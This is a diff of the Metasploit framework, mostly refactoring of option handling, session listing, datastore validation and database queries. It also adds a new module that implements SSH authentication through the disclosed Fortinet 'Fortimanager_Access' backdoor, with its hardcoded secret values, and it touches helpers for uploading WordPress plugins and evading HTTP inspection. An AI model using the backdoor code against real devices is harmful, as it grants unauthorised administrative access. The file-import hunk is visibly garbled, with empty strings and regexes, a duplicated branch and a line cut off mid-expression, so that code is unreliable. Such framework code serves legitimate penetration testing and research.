- mod.options.sorted.each { |entry|
- name, opt = entry
+ mod.options.sorted.each do |name, opt|
+ next unless opt.evasion?
+ val = mod.datastore[name] || opt.default
+ tbl << [ name, opt.display_value(val), opt.required? ? "yes" : "no", opt.desc ]
+ end
- next if (!opt.evasion?)
-
- val = mod.datastore[name] || opt.default || ''
-
- desc = word_wrap(opt.desc, indent.length + 3)
- desc = desc.slice(indent.length + 3, desc.length)
-
- output << pad + "Name : #{name}\n"
- output << pad + "Current Setting: #{val}\n"
- output << pad + "Description : #{desc}\n"
- }
-
- return output
+ return tbl.to_s
end
# Dumps the references associated with the supplied module.
@@ -524,18 +520,18 @@ class ReadableText
def self.dump_sessions(framework, opts={})
ids = (opts[:session_ids] || framework.sessions.keys).sort
verbose = opts[:verbose] || false
+ show_extended = opts[:show_extended] || false
indent = opts[:indent] || DefaultIndent
col = opts[:col] || DefaultColumnWrap
return dump_sessions_verbose(framework, opts) if verbose
- columns =
- [
- 'Id',
- 'Type',
- 'Information',
- 'Connection'
- ]
+ columns = []
+ columns << 'Id'
+ columns << 'Type'
+ columns << 'Checkin?' if show_extended
+ columns << 'Information'
+ columns << 'Connection'
tbl = Rex::Ui::Text::Table.new(
'Indent' => indent,
@@ -551,11 +547,22 @@ class ReadableText
sinfo = sinfo[0,77] + "..."
end
- row = [ session.sid.to_s, session.type.to_s, sinfo, session.tunnel_to_s + " (#{session.session_host})" ]
- if session.respond_to? :platform
- row[1] << (" " + session.platform)
+ row = []
+ row << session.sid.to_s
+ row << session.type.to_s
+ row[-1] << (" " + session.platform) if session.respond_to?(:platform)
+
+ if show_extended
+ if session.respond_to?(:last_checkin) && session.last_checkin
+ row << "#{(Time.now.to_i - session.last_checkin.to_i)}s ago"
+ else
+ row << '?'
+ end
end
+ row << sinfo
+ row << session.tunnel_to_s + " (#{session.session_host})"
+
tbl << row
}
diff --git a/lib/msf/base/sessions/command_shell.rb b/lib/msf/base/sessions/command_shell.rb
index d22ac17dbc..86b5ab5e68 100644
--- a/lib/msf/base/sessions/command_shell.rb
+++ b/lib/msf/base/sessions/command_shell.rb
@@ -216,7 +216,7 @@ class CommandShell
end
end
- if (datastore['InitialAutoRunScript'] && datastore['InitialAutoRunScript'].empty? == false)
+ if datastore['InitialAutoRunScript'] && !datastore['InitialAutoRunScript'].empty?
args = Shellwords.shellwords( datastore['InitialAutoRunScript'] )
print_status("Session ID #{sid} (#{tunnel_to_s}) processing InitialAutoRunScript '#{datastore['InitialAutoRunScript']}'")
execute_script(args.shift, *args)
diff --git a/lib/msf/base/sessions/meterpreter_options.rb b/lib/msf/base/sessions/meterpreter_options.rb
index 789f25c801..b2863874e8 100644
--- a/lib/msf/base/sessions/meterpreter_options.rb
+++ b/lib/msf/base/sessions/meterpreter_options.rb
@@ -37,13 +37,13 @@ module MeterpreterOptions
framework.sessions.schedule Proc.new {
# Configure unicode encoding before loading stdapi
- session.encode_unicode = ( datastore['EnableUnicodeEncoding'] ? true : false )
+ session.encode_unicode = datastore['EnableUnicodeEncoding']
session.init_ui(self.user_input, self.user_output)
valid = true
- if datastore['AutoVerifySession'] == true
+ if datastore['AutoVerifySession']
if not session.is_valid_session?(datastore['AutoVerifySessionTimeout'].to_i)
print_error("Meterpreter session #{session.sid} is not valid and will be closed")
valid = false
@@ -52,7 +52,7 @@ module MeterpreterOptions
if valid
- if datastore['AutoLoadStdapi'] == true
+ if datastore['AutoLoadStdapi']
session.load_stdapi
@@ -72,7 +72,7 @@ module MeterpreterOptions
end
[ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key|
- if (datastore[key].empty? == false)
+ if !datastore[key].empty?
args = Shellwords.shellwords( datastore[key] )
print_status("Session ID #{session.sid} (#{session.tunnel_to_s}) processing #{key} '#{datastore[key]}'")
session.execute_script(args.shift, *args)
diff --git a/lib/msf/base/sessions/vncinject_options.rb b/lib/msf/base/sessions/vncinject_options.rb
index 05962133fc..d86a5f4dbd 100644
--- a/lib/msf/base/sessions/vncinject_options.rb
+++ b/lib/msf/base/sessions/vncinject_options.rb
@@ -84,7 +84,7 @@ module VncInjectOptions
print_status("Local TCP relay started.")
# If the AUTOVNC flag is set, launch VNC viewer.
- if (datastore['AUTOVNC'] == true)
+ if datastore['AUTOVNC']
if (session.autovnc(datastore['ViewOnly']))
print_status("Launched vncviewer.")
else
diff --git a/lib/msf/base/simple/framework/module_paths.rb b/lib/msf/base/simple/framework/module_paths.rb
index d2ba08fc3f..4b91f1b15b 100644
--- a/lib/msf/base/simple/framework/module_paths.rb
+++ b/lib/msf/base/simple/framework/module_paths.rb
@@ -21,7 +21,7 @@ module Msf
allowed_module_paths << Msf::Config.user_module_directory
end
- Rails.application.railties.engines.each do |engine|
+ ::Rails::Engine.subclasses.map(&:instance).each do |engine|
extract_engine_module_paths(engine).each do |path|
allowed_module_paths << path
end
diff --git a/lib/msf/core/auxiliary/crawler.rb b/lib/msf/core/auxiliary/crawler.rb
index e52ff259de..4fd18ca9c3 100644
--- a/lib/msf/core/auxiliary/crawler.rb
+++ b/lib/msf/core/auxiliary/crawler.rb
@@ -44,7 +44,7 @@ module Auxiliary::HttpCrawler
OptString.new('BasicAuthPass', [false, 'The HTTP password to specify for basic authentication']),
OptString.new('HTTPAdditionalHeaders', [false, "A list of additional headers to send (separated by \\x01)"]),
OptString.new('HTTPCookie', [false, "A HTTP cookie header to send with each request"]),
- OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'Auto', ['Auto', 'SSL2', 'SSL23', 'SSL3', 'TLS1']]),
+ Opt::SSLVersion
], self.class
)
diff --git a/lib/msf/core/auxiliary/redis.rb b/lib/msf/core/auxiliary/redis.rb
index 20714c8eb3..9867ad0664 100644
--- a/lib/msf/core/auxiliary/redis.rb
+++ b/lib/msf/core/auxiliary/redis.rb
@@ -20,7 +20,7 @@ module Msf
register_options(
[
Opt::RPORT(6379),
- OptString.new('Password', [false, 'Redis password for authentication test', 'foobared'])
+ OptString.new('PASSWORD', [false, 'Redis password for authentication test', 'foobared'])
]
)
@@ -48,29 +48,29 @@ module Msf
def redis_command(*commands)
command_string = printable_redis_response(commands.join(' '))
unless (command_response = send_redis_command(*commands))
- vprint_error("#{peer} -- no response to '#{command_string}'")
+ vprint_error("No response to '#{command_string}'")
return
end
if /(?ERR operation not permitted|NOAUTH Authentication required)/i =~ command_response
fail_with(::Msf::Module::Failure::BadConfig, "#{peer} requires authentication but Password unset") unless datastore['Password']
- vprint_status("#{peer} -- requires authentication (#{printable_redis_response(auth_response, false)})")
- if (auth_response = send_redis_command('AUTH', datastore['Password']))
+ vprint_status("Requires authentication (#{printable_redis_response(auth_response, false)})")
+ if (auth_response = send_redis_command('AUTH', datastore['PASSWORD']))
unless auth_response =~ /\+OK/
- vprint_error("#{peer} -- authentication failure: #{printable_redis_response(auth_response)}")
+ vprint_error("Authentication failure: #{printable_redis_response(auth_response)}")
return
end
- vprint_status("#{peer} -- authenticated")
+ vprint_status("Authenticated")
unless (command_response = send_redis_command(*commands))
- vprint_error("#{peer} -- no response to '#{command_string}'")
+ vprint_error("No response to '#{command_string}'")
return
end
else
- vprint_status("#{peer} -- authentication failed; no response")
+ vprint_status("Authentication failed; no response")
return
end
end
- vprint_status("#{peer} -- redis command '#{command_string}' got '#{printable_redis_response(command_response)}'")
+ vprint_status("Redis command '#{command_string}' got '#{printable_redis_response(command_response)}'")
command_response
end
diff --git a/lib/msf/core/auxiliary/scanner.rb b/lib/msf/core/auxiliary/scanner.rb
index ac4991cbf0..43b4c4c905 100644
--- a/lib/msf/core/auxiliary/scanner.rb
+++ b/lib/msf/core/auxiliary/scanner.rb
@@ -42,6 +42,11 @@ def check
end
+def peer
+ # IPv4 addr can be 16 chars + 1 for : and + 5 for port
+ super.ljust(21)
+end
+
#
# The command handler when launched from the console
#
diff --git a/lib/msf/core/data_store.rb b/lib/msf/core/data_store.rb
index f4da1911e0..81a3e2ed55 100644
--- a/lib/msf/core/data_store.rb
+++ b/lib/msf/core/data_store.rb
@@ -13,6 +13,7 @@ class DataStore < Hash
# Initializes the data store's internal state.
#
def initialize()
+ @options = Hash.new
@imported = Hash.new
@imported_by = Hash.new
end
@@ -26,6 +27,16 @@ class DataStore < Hash
@imported[k] = false
@imported_by[k] = nil
+ opt = @options[k]
+ unless opt.nil?
+ if opt.validate_on_assignment?
+ unless opt.valid?(v)
+ raise OptionValidateError.new(["Value '#{v}' is not valid for option '#{k}'"])
+ end
+ v = opt.normalize(v)
+ end
+ end
+
super(k,v)
end
@@ -65,17 +76,11 @@ class DataStore < Hash
# all of the supplied options
#
def import_options(options, imported_by = nil, overwrite = false)
- options.each_option { |name, opt|
- # If there's already a value defined for this option, then skip it
- # and don't import it.
- next if self.has_key?(name) and overwrite == false
-
- # If the option has a default value, import it, but only if the
- # datastore doesn't already have a value set for it.
- if ((opt.default != nil) and (overwrite or self[name] == nil))
- import_option(name, opt.default.to_s, true, imported_by)
+ options.each_option do |name, opt|
+ if self[name].nil? || overwrite
+ import_option(name, opt.default, true, imported_by, opt)
end
- }
+ end
end
#
@@ -124,13 +129,14 @@ class DataStore < Hash
#
def import_options_from_hash(option_hash, imported = true, imported_by = nil)
option_hash.each_pair { |key, val|
- import_option(key, val.to_s, imported, imported_by)
+ import_option(key, val, imported, imported_by)
}
end
- def import_option(key, val, imported=true, imported_by=nil)
+ def import_option(key, val, imported=true, imported_by=nil, option=nil)
self.store(key, val)
+ @options[key] = option
@imported[key] = imported
@imported_by[key] = imported_by
end
diff --git a/lib/msf/core/db_manager.rb b/lib/msf/core/db_manager.rb
index 60d421b617..4e4ba8315c 100644
--- a/lib/msf/core/db_manager.rb
+++ b/lib/msf/core/db_manager.rb
@@ -163,14 +163,4 @@ class Msf::DBManager
true
end
-
- # Mainly, it's Ruby 1.9.1 that cause a lot of problems now, along with Ruby 1.8.6.
- # Ruby 1.8.7 actually seems okay, but why tempt fate? Let's say 1.9.3 and beyond.
- def warn_about_rubies
- if ::RUBY_VERSION =~ /^1\.9\.[012]($|[^\d])/
- $stderr.puts "**************************************************************************************"
- $stderr.puts "Metasploit requires at least Ruby 1.9.3. For an easy upgrade path, see https://rvm.io/"
- $stderr.puts "**************************************************************************************"
- end
- end
end
diff --git a/lib/msf/core/db_manager/import.rb b/lib/msf/core/db_manager/import.rb
index c93fb6cb5b..3a243fdfb1 100644
--- a/lib/msf/core/db_manager/import.rb
+++ b/lib/msf/core/db_manager/import.rb
@@ -16,7 +16,8 @@ module Msf::DBManager::Import
autoload :Acunetix, 'msf/core/db_manager/import/acunetix'
autoload :Amap, 'msf/core/db_manager/import/amap'
autoload :Appscan, 'msf/core/db_manager/import/appscan'
- autoload :Burp, 'msf/core/db_manager/import/burp'
+ autoload :BurpIssue, 'msf/core/db_manager/import/burp_issue'
+ autoload :BurpSession, 'msf/core/db_manager/import/burp_session'
autoload :CI, 'msf/core/db_manager/import/ci'
autoload :Foundstone, 'msf/core/db_manager/import/foundstone'
autoload :FusionVM, 'msf/core/db_manager/import/fusion_vm'
@@ -41,7 +42,8 @@ module Msf::DBManager::Import
include Msf::DBManager::Import::Acunetix
include Msf::DBManager::Import::Amap
include Msf::DBManager::Import::Appscan
- include Msf::DBManager::Import::Burp
+ include Msf::DBManager::Import::BurpIssue
+ include Msf::DBManager::Import::BurpSession
include Msf::DBManager::Import::CI
include Msf::DBManager::Import::Foundstone
include Msf::DBManager::Import::FusionVM
@@ -252,6 +254,9 @@ module Msf::DBManager::Import
elsif (firstline.index(""))
@import_filedata[:type] = "Retina XML"
return :retina_xml
+ elsif (firstline.index(//))
+ @import_filedata[:type] = "OpenVAS XML"
+ return :openvas_new_xml
elsif (firstline.index(//))
@import_filedata[:type] = "OpenVAS XML"
return :openvas_new_xml
@@ -267,6 +272,9 @@ module Msf::DBManager::Import
elsif (data[0,1024] =~ / wspace, :host => addr, :state => Msf::HostState::Alive)
- name = p[1].strip
- port = p[2].to_i
- proto = p[3].downcase
+ if p
+ name = p[1].strip
+ port = p[2].to_i
+ proto = p[3].downcase
+ else
+ port = nil
+ end
info = { :workspace => wspace, :host => hobj, :port => port, :proto => proto, :task => task }
- if name != "unknown" and name[-1,1] != "?"
+ if name and name != "unknown" and name[-1,1] != "?"
info[:name] = name
end
report_service(info)
diff --git a/lib/msf/core/db_manager/import/open_vas.rb b/lib/msf/core/db_manager/import/open_vas.rb
index 9991d19e86..f2ef38929f 100644
--- a/lib/msf/core/db_manager/import/open_vas.rb
+++ b/lib/msf/core/db_manager/import/open_vas.rb
@@ -29,6 +29,6 @@ module Msf::DBManager::Import::OpenVAS
filename = args[:filename]
wspace = args[:wspace] || workspace
- raise Msf::DBImportError.new("No OpenVAS XML support. Please submit a patch to msfdev[at]metasploit.com")
+ raise Msf::DBImportError.new("No OpenVas XML support. Please submit a patch to msfdev[at]metasploit.com")
end
end
diff --git a/lib/msf/core/db_manager/migration.rb b/lib/msf/core/db_manager/migration.rb
index 5d98eb960e..4c6430bd52 100644
--- a/lib/msf/core/db_manager/migration.rb
+++ b/lib/msf/core/db_manager/migration.rb
@@ -10,7 +10,7 @@ module Msf::DBManager::Migration
"the .bundle/config manually and then `bundle install`"
end
- Rails.application.railties.engines.each do |engine|
+ ::Rails::Engine.subclasses.map(&:instance).each.each do |engine|
migrations_paths = engine.paths['db/migrate'].existent_directories
migrations_paths.each do |migrations_path|
diff --git a/lib/msf/core/db_manager/module_cache.rb b/lib/msf/core/db_manager/module_cache.rb
index 5e23cb6d2c..06af2be5be 100644
--- a/lib/msf/core/db_manager/module_cache.rb
+++ b/lib/msf/core/db_manager/module_cache.rb
@@ -201,7 +201,7 @@ module Msf::DBManager::ModuleCache
end
end
- query = Mdm::Module::Detail.scoped
+ query = Mdm::Module::Detail.all
ActiveRecord::Base.connection_pool.with_connection do
# Although AREL supports taking the union or two queries, the ActiveRecord where syntax only supports
@@ -214,7 +214,7 @@ module Msf::DBManager::ModuleCache
when 'author'
formatted_values = match_values(value_set)
- query = query.includes(:authors)
+ query = query.includes(:authors).references(:authors)
module_authors = Mdm::Module::Author.arel_table
union_conditions << module_authors[:email].matches_any(formatted_values)
union_conditions << module_authors[:name].matches_any(formatted_values)
@@ -227,10 +227,10 @@ module Msf::DBManager::ModuleCache
when 'os', 'platform'
formatted_values = match_values(value_set)
- query = query.includes(:platforms)
+ query = query.includes(:platforms).references(:platforms)
union_conditions << Mdm::Module::Platform.arel_table[:name].matches_any(formatted_values)
- query = query.includes(:targets)
+ query = query.includes(:targets).references(:targets)
union_conditions << Mdm::Module::Target.arel_table[:name].matches_any(formatted_values)
when 'text'
formatted_values = match_values(value_set)
@@ -240,22 +240,22 @@ module Msf::DBManager::ModuleCache
union_conditions << module_details[:fullname].matches_any(formatted_values)
union_conditions << module_details[:name].matches_any(formatted_values)
- query = query.includes(:actions)
+ query = query.includes(:actions).references(:actions)
union_conditions << Mdm::Module::Action.arel_table[:name].matches_any(formatted_values)
- query = query.includes(:archs)
+ query = query.includes(:archs).references(:archs)
union_conditions << Mdm::Module::Arch.arel_table[:name].matches_any(formatted_values)
- query = query.includes(:authors)
+ query = query.includes(:authors).references(:authors)
union_conditions << Mdm::Module::Author.arel_table[:name].matches_any(formatted_values)
- query = query.includes(:platforms)
+ query = query.includes(:platforms).references(:platforms)
union_conditions << Mdm::Module::Platform.arel_table[:name].matches_any(formatted_values)
- query = query.includes(:refs)
+ query = query.includes(:refs).references(:refs)
union_conditions << Mdm::Module::Ref.arel_table[:name].matches_any(formatted_values)
- query = query.includes(:targets)
+ query = query.includes(:targets).references(:targets)
union_conditions << Mdm::Module::Target.arel_table[:name].matches_any(formatted_values)
when 'type'
formatted_values = match_values(value_set)
@@ -275,7 +275,7 @@ module Msf::DBManager::ModuleCache
when 'ref'
formatted_values = match_values(value_set)
- query = query.includes(:refs)
+ query = query.includes(:refs).references(:refs)
union_conditions << Mdm::Module::Ref.arel_table[:name].matches_any(formatted_values)
when 'cve', 'bid', 'osvdb', 'edb'
formatted_values = value_set.collect { |value|
@@ -284,7 +284,7 @@ module Msf::DBManager::ModuleCache
"#{prefix}-%#{value}%"
}
- query = query.includes(:refs)
+ query = query.includes(:refs).references(:refs)
union_conditions << Mdm::Module::Ref.arel_table[:name].matches_any(formatted_values)
end
end
diff --git a/lib/msf/core/db_manager/workspace.rb b/lib/msf/core/db_manager/workspace.rb
index 6bc4d3c9fe..70652b3beb 100644
--- a/lib/msf/core/db_manager/workspace.rb
+++ b/lib/msf/core/db_manager/workspace.rb
@@ -30,7 +30,7 @@ module Msf::DBManager::Workspace
def workspaces
::ActiveRecord::Base.connection_pool.with_connection {
- ::Mdm::Workspace.order('updated_at asc').all
+ ::Mdm::Workspace.order('updated_at asc').load
}
end
end
diff --git a/lib/msf/core/encoder.rb b/lib/msf/core/encoder.rb
index 076107891e..c483d25358 100644
--- a/lib/msf/core/encoder.rb
+++ b/lib/msf/core/encoder.rb
@@ -537,7 +537,7 @@ protected
#
def find_context_key(buf, badchars, state)
# Make sure our context information file is sane
- if File.exists?(datastore['ContextInformationFile']) == false
+ if !File.exists?(datastore['ContextInformationFile'])
raise NoKeyError, "A context information file must specified when using context encoding", caller
end
diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb
index e2d2bbc5d1..e976d84e97 100644
--- a/lib/msf/core/exploit.rb
+++ b/lib/msf/core/exploit.rb
@@ -649,14 +649,14 @@ class Exploit < Msf::Module
# Returns true if the exploit has an aggressive stance.
#
def aggressive?
- (stance == Stance::Aggressive)
+ (stance == Stance::Aggressive || stance.include?(Stance::Aggressive))
end
#
# Returns if the exploit has a passive stance.
#
def passive?
- (stance == Stance::Passive)
+ (stance == Stance::Passive || stance.include?(Stance::Passive))
end
#
@@ -1197,9 +1197,15 @@ class Exploit < Msf::Module
# value can be one of the Handler::constants.
#
def handler(*args)
- return if not payload_instance
- return if not handler_enabled?
- return payload_instance.handler(*args)
+ if payload_instance && handler_enabled?
+ payload_instance.handler(*args)
+ end
+ end
+
+ def interrupt_handler
+ if payload_instance && handler_enabled? && payload_instance.respond_to?(:interrupt_wait_for_session)
+ payload_instance.interrupt_wait_for_session()
+ end
end
##
@@ -1351,6 +1357,9 @@ class Exploit < Msf::Module
# Report the failure (and attempt) in the database
self.report_failure
+
+ # Interrupt any session waiters in the handler
+ self.interrupt_handler
end
def report_failure
@@ -1506,7 +1515,7 @@ protected
# required when wanting to support context keyed encoding
#
def define_context_encoding_reqs(reqs)
- return if datastore['EnableContextEncoding'] != true
+ return unless datastore['EnableContextEncoding']
# At present, we don't support any automatic methods of obtaining
# context information. In the future, we might support obtaining
diff --git a/lib/msf/core/exploit/fortinet.rb b/lib/msf/core/exploit/fortinet.rb
new file mode 100644
index 0000000000..9b8aae1f9c
--- /dev/null
+++ b/lib/msf/core/exploit/fortinet.rb
@@ -0,0 +1,99 @@
+# -*- coding: binary -*-
+
+# https://www.ietf.org/rfc/rfc4256.txt
+
+require 'net/ssh'
+
+module Msf::Exploit::Remote::Fortinet
+ class Net::SSH::Authentication::Methods::FortinetBackdoor < Net::SSH::Authentication::Methods::Abstract
+
+ USERAUTH_INFO_REQUEST = 60
+ USERAUTH_INFO_RESPONSE = 61
+
+ def authenticate(service_name, username = 'Fortimanager_Access', password = nil)
+ debug { 'Sending SSH_MSG_USERAUTH_REQUEST' }
+
+ send_message(userauth_request(
+=begin
+ string user name (ISO-10646 UTF-8, as defined in [RFC-3629])
+ string service name (US-ASCII)
+ string "keyboard-interactive" (US-ASCII)
+ string language tag (as defined in [RFC-3066])
+ string submethods (ISO-10646 UTF-8)
+=end
+ username,
+ service_name,
+ 'keyboard-interactive',
+ '',
+ ''
+ ))
+
+ loop do
+ message = session.next_message
+
+ case message.type
+ when USERAUTH_SUCCESS
+ debug { 'Received SSH_MSG_USERAUTH_SUCCESS' }
+ return true
+ when USERAUTH_FAILURE
+ debug { 'Received SSH_MSG_USERAUTH_FAILURE' }
+ return false
+ when USERAUTH_INFO_REQUEST
+ debug { 'Received SSH_MSG_USERAUTH_INFO_REQUEST' }
+
+=begin
+ string name (ISO-10646 UTF-8)
+ string instruction (ISO-10646 UTF-8)
+ string language tag (as defined in [RFC-3066])
+ int num-prompts
+ string prompt[1] (ISO-10646 UTF-8)
+ boolean echo[1]
+ ...
+ string prompt[num-prompts] (ISO-10646 UTF-8)
+ boolean echo[num-prompts]
+=end
+ name = message.read_string
+ instruction = message.read_string
+ _ = message.read_string
+
+ prompts = []
+
+ message.read_long.times do
+ prompt = message.read_string
+ echo = message.read_bool
+ prompts << [prompt, echo]
+ end
+
+ debug { 'Sending SSH_MSG_USERAUTH_INFO_RESPONSE' }
+
+ send_message(Net::SSH::Buffer.from(
+=begin
+ byte SSH_MSG_USERAUTH_INFO_RESPONSE
+ int num-responses
+ string response[1] (ISO-10646 UTF-8)
+ ...
+ string response[num-responses] (ISO-10646 UTF-8)
+=end
+ :byte, USERAUTH_INFO_RESPONSE,
+ :long, 1,
+ :string, custom_handler(name, instruction, prompts)
+ ))
+ else
+ raise Net::SSH::Exception, "Received unexpected message: #{message.inspect}"
+ end
+ end
+ end
+
+ # http://seclists.org/fulldisclosure/2016/Jan/26
+ def custom_handler(title, instructions, prompt_list)
+ n = prompt_list[0][0]
+ m = Digest::SHA1.new
+ m.update("\x00" * 12)
+ m.update(n + 'FGTAbc11*xy+Qqz27')
+ m.update("\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70")
+ h = 'AK1' + Base64.encode64("\x00" * 12 + m.digest)
+ [h]
+ end
+
+ end
+end
diff --git a/lib/msf/core/exploit/ftpserver.rb b/lib/msf/core/exploit/ftpserver.rb
index 41dea0f789..df6b2c91ee 100644
--- a/lib/msf/core/exploit/ftpserver.rb
+++ b/lib/msf/core/exploit/ftpserver.rb
@@ -56,7 +56,7 @@ module Exploit::Remote::FtpServer
# exists for the given command, returns a generic default response.
#
# @example Handle SYST requests
- # class Metasploit4 < Msf::Exploit
+ # class MetasploitModule < Msf::Exploit
# include Msf::Exploit::Remote::FtpServer
# ...
# def on_client_command_syst(cmd_conn, arg)
@@ -237,4 +237,3 @@ module Exploit::Remote::FtpServer
end
end
-
diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb
index 4bf9ca91c4..5b57e2e408 100644
--- a/lib/msf/core/exploit/http/client.rb
+++ b/lib/msf/core/exploit/http/client.rb
@@ -50,7 +50,7 @@ module Exploit::Remote::HttpClient
OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication', '']),
OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', '']),
OptBool.new('DigestAuthIIS', [false, 'Conform to IIS, should work for most servers. Only set to false for non-IIS servers', true]),
- OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'Auto', ['Auto', 'SSL2', 'SSL3', 'TLS1']]),
+ Opt::SSLVersion,
OptBool.new('FingerprintCheck', [ false, 'Conduct a pre-exploit fingerprint verification', true]),
OptString.new('DOMAIN', [ true, 'The domain to use for windows authentification', 'WORKSTATION']),
OptInt.new('HttpClientTimeout', [false, 'HTTP connection and receive timeout'])
@@ -85,7 +85,7 @@ module Exploit::Remote::HttpClient
#
# Remaining evasions to implement
#
-# OptBool.new('HTTP::chunked', [false, 'Enable chunking of HTTP request via "Transfer-Encoding: chunked"', 'false']),
+# OptBool.new('HTTP::chunked', [false, 'Enable chunking of HTTP request via "Transfer-Encoding: chunked"', false]),
# OptInt.new('HTTP::junk_pipeline', [true, 'Insert the specified number of junk pipeline requests', 0]),
], self.class
)
diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb
index 6b58eb8a4a..7eb5370411 100644
--- a/lib/msf/core/exploit/http/server.rb
+++ b/lib/msf/core/exploit/http/server.rb
@@ -32,9 +32,9 @@ module Exploit::Remote::HttpServer
register_evasion_options(
[
- OptBool.new('HTTP::chunked', [false, 'Enable chunking of HTTP responses via "Transfer-Encoding: chunked"', 'false']),
- OptBool.new('HTTP::header_folding', [false, 'Enable folding of HTTP headers', 'false']),
- OptBool.new('HTTP::junk_headers', [false, 'Enable insertion of random junk HTTP headers', 'false']),
+ OptBool.new('HTTP::chunked', [false, 'Enable chunking of HTTP responses via "Transfer-Encoding: chunked"', false]),
+ OptBool.new('HTTP::header_folding', [false, 'Enable folding of HTTP headers', false]),
+ OptBool.new('HTTP::junk_headers', [false, 'Enable insertion of random junk HTTP headers', false]),
OptEnum.new('HTTP::compression', [false, 'Enable compression of HTTP responses via content encoding', 'none', ['none','gzip','deflate']]),
OptString.new('HTTP::server_name', [true, 'Configures the Server header of all outgoing replies', 'Apache'])
], Exploit::Remote::HttpServer
@@ -72,60 +72,13 @@ module Exploit::Remote::HttpServer
Thread.current[:cli] = cli
end
- # :category: print_* overrides
- # Prepends client and module name if inside a thread with a #cli
- def print_line(msg='')
- (cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
+ def print_prefix
+ if cli && (respond_to?(:aggressive) && !aggressive?)
+ super + "#{cli.peerhost.ljust(16)} #{self.shortname} - "
+ else
+ super
+ end
end
- # :category: print_* overrides
- # Prepends client and module name if inside a thread with a #cli
- def print_status(msg='')
- (cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
- end
- # :category: print_* overrides
- # Prepends client and module name if inside a thread with a #cli
- def print_good(msg='')
- (cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
- end
- # :category: print_* overrides
- # Prepends client and module name if inside a thread with a #cli
- def print_error(msg='')
- (cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
- end
-
- #
- # :category: print_* overrides
- # Prepends client and module name if inside a thread with a #cli
- def print_warning(msg='')
- (cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
- end
-
- # :category: print_* overrides
- # Prepends client and module name if inside a thread with a #cli
- def vprint_line(msg='')
- (cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
- end
- # :category: print_* overrides
- # Prepends client and module name if inside a thread with a #cli
- def vprint_status(msg='')
- (cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
- end
- # :category: print_* overrides
- # Prepends client and module name if inside a thread with a #cli
- def vprint_good(msg='')
- (cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
- end
- # :category: print_* overrides
- # Prepends client and module name if inside a thread with a #cli
- def vprint_error(msg='')
- (cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
- end
- # :category: print_* overrides
- # Prepends client and module name if inside a thread with a #cli
- def vprint_warning(msg='')
- (cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
- end
-
#
# Ensures that gzip can be used. If not, an exception is generated. The
@@ -133,7 +86,7 @@ module Exploit::Remote::HttpServer
# set.
#
def use_zlib
- if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true)
+ if !Rex::Text.zlib_present? && datastore['HTTP::compression']
raise RuntimeError, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!"
end
end
@@ -577,16 +530,16 @@ module Exploit::Remote::HttpServer
response.compress = datastore['HTTP::compression']
end
- if (datastore['HTTP::chunked'] == true)
+ if datastore['HTTP::chunked']
response.auto_cl = false
response.transfer_chunked = true
end
- if (datastore['HTTP::header_folding'] == true)
+ if datastore['HTTP::header_folding']
response.headers.fold = 1
end
- if (datastore['HTTP::junk_headers'] == true)
+ if datastore['HTTP::junk_headers']
response.headers.junk_headers = 1
end
diff --git a/lib/msf/core/exploit/http/wordpress/admin.rb b/lib/msf/core/exploit/http/wordpress/admin.rb
index 7fc84f856c..a17f2b6058 100644
--- a/lib/msf/core/exploit/http/wordpress/admin.rb
+++ b/lib/msf/core/exploit/http/wordpress/admin.rb
@@ -10,10 +10,10 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Admin
def wordpress_upload_plugin(name, zip, cookie)
nonce = wordpress_helper_get_plugin_upload_nonce(cookie)
if nonce.nil?
- vprint_error("#{peer} - Failed to acquire the plugin upload nonce")
+ vprint_error("Failed to acquire the plugin upload nonce")
return false
end
- vprint_status("#{peer} - Acquired a plugin upload nonce: #{nonce}")
+ vprint_status("Acquired a plugin upload nonce: #{nonce}")
referer_uri = normalize_uri(wordpress_url_backend, 'plugin-install.php?tab=upload')
data = Rex::MIME::Message.new
@@ -32,11 +32,11 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Admin
)
if res && res.code == 200
- vprint_status("#{peer} - Uploaded plugin #{name}")
+ vprint_status("Uploaded plugin #{name}")
return true
else
- vprint_error("#{peer} - Server responded with code #{res.code}") if res
- vprint_error("#{peer} - Failed to upload plugin #{name}")
+ vprint_error("Server responded with code #{res.code}") if res
+ vprint_error("Failed to upload plugin #{name}")
return false
end
end
diff --git a/lib/msf/core/exploit/http/wordpress/base.rb b/lib/msf/core/exploit/http/wordpress/base.rb
index 386b6378f9..f25298c868 100644
--- a/lib/msf/core/exploit/http/wordpress/base.rb
+++ b/lib/msf/core/exploit/http/wordpress/base.rb
@@ -27,7 +27,7 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Base
return res if res && res.code == 200 && res.body && wordpress_detect_regexes.any? { |r| res.body =~ r }
return nil
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
- print_error("#{peer} - Error connecting to #{target_uri}: #{e}")
+ print_error("Error connecting to #{target_uri}: #{e}")
return nil
end
end
